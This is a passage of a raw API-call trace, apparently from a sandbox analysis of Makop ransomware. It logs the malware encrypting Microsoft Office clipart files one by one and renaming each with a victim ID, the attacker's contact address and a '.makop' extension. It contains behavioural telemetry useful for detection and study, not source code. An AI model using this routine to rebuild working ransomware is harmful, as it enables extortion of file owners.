[0129.184] SetEndOfFile (hFile=0xf0) returned 1 [0129.191] GetProcessHeap () returned 0x48a0000 [0129.191] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0129.191] GetProcessHeap () returned 0x48a0000 [0129.191] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0129.191] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0129.192] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198102.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198102.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0129.194] CloseHandle (hObject=0xf0) returned 1 [0129.194] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce00a00, ftCreationTime.dwHighDateTime=0x1bd9fdf, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcce00a00, ftLastWriteTime.dwHighDateTime=0x1bd9fdf, nFileSizeHigh=0x0, nFileSizeLow=0xa520, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198113.WMF", cAlternateFileName="")) returned 1 [0129.194] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF") returned 63 [0129.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198113.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0129.195] GetProcessHeap () returned 0x48a0000 [0129.195] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0129.195] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0129.195] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0129.195] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0129.195] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0129.195] GetProcessHeap () returned 0x48a0000 [0129.195] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0129.195] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0129.195] CryptDestroyKey (hKey=0x48c7128) returned 1 [0129.196] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0129.200] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0129.200] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0129.201] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0129.201] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0129.201] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0129.201] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0129.201] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0129.201] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.201] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xa520, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xa520, lpOverlapped=0x0) returned 1 [0129.203] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa520, dwBufLen=0xa520 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa520) returned 1 [0129.204] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.204] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa520, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xa520, lpOverlapped=0x0) returned 1 [0129.205] CryptDestroyKey (hKey=0x48c7128) returned 1 [0129.205] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xa5f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.205] SetEndOfFile (hFile=0xf0) returned 1 [0129.214] GetProcessHeap () returned 0x48a0000 [0129.214] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0129.214] GetProcessHeap () returned 0x48a0000 [0129.214] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0129.214] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0129.214] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198113.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198113.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0129.216] CloseHandle (hObject=0xf0) returned 1 [0129.216] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa3b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198226.WMF", cAlternateFileName="")) returned 1 [0129.218] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF") returned 63 [0129.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198226.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0129.219] GetProcessHeap () returned 0x48a0000 [0129.220] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0129.220] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0129.220] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0129.220] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0129.224] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0129.224] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0129.224] GetProcessHeap () returned 0x48a0000 [0129.224] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0129.224] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0129.224] CryptDestroyKey (hKey=0x48c7128) returned 1 [0129.224] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0129.224] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0129.225] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0129.225] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0129.225] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0129.225] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0129.225] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0129.225] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0129.225] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.226] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xa3b2, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xa3b2, lpOverlapped=0x0) returned 1 [0129.228] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa3c0, dwBufLen=0xa3c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa3c0) returned 1 [0129.228] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.228] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa3c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xa3c0, lpOverlapped=0x0) returned 1 [0129.229] CryptDestroyKey (hKey=0x48c7128) returned 1 [0129.229] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xa494, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.229] SetEndOfFile (hFile=0xf0) returned 1 [0129.236] GetProcessHeap () returned 0x48a0000 [0129.236] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0129.236] GetProcessHeap () returned 0x48a0000 [0129.236] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0129.237] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0129.237] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198226.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198226.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0129.238] CloseHandle (hObject=0xf0) returned 1 [0129.238] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa69e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198234.WMF", cAlternateFileName="")) returned 1 [0129.238] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF") returned 63 [0129.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198234.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0129.239] GetProcessHeap () returned 0x48a0000 [0129.239] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0129.240] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0129.240] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0129.240] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0129.246] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0129.246] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0129.246] GetProcessHeap () returned 0x48a0000 [0129.246] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0129.246] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0129.246] CryptDestroyKey (hKey=0x48c7128) returned 1 [0129.246] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0129.246] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0129.247] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0129.247] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0129.247] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0129.247] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0129.247] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0129.247] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0129.247] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.248] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xa69e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xa69e, lpOverlapped=0x0) returned 1 [0129.250] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa6a0, dwBufLen=0xa6a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa6a0) returned 1 [0129.250] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.250] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa6a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xa6a0, lpOverlapped=0x0) returned 1 [0129.251] CryptDestroyKey (hKey=0x48c7128) returned 1 [0129.251] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xa774, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.251] SetEndOfFile (hFile=0xf0) returned 1 [0129.259] GetProcessHeap () returned 0x48a0000 [0129.259] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0129.259] GetProcessHeap () returned 0x48a0000 [0129.259] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0129.259] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0129.259] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198234.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198234.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0129.261] CloseHandle (hObject=0xf0) returned 1 [0129.261] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6f9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198372.WMF", cAlternateFileName="")) returned 1 [0129.261] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF") returned 63 [0129.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198372.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0129.262] GetProcessHeap () returned 0x48a0000 [0129.262] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0129.262] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0129.262] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0129.262] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0129.266] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0129.266] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0129.266] GetProcessHeap () returned 0x48a0000 [0129.266] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0129.266] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0129.266] CryptDestroyKey (hKey=0x48c7128) returned 1 [0129.266] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0129.266] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0129.266] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0129.266] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0129.267] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0129.267] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0129.267] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0129.267] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0129.267] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.267] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6f9c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x6f9c, lpOverlapped=0x0) returned 1 [0129.269] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6fa0, dwBufLen=0x6fa0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6fa0) returned 1 [0129.269] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.270] WriteFile (in: 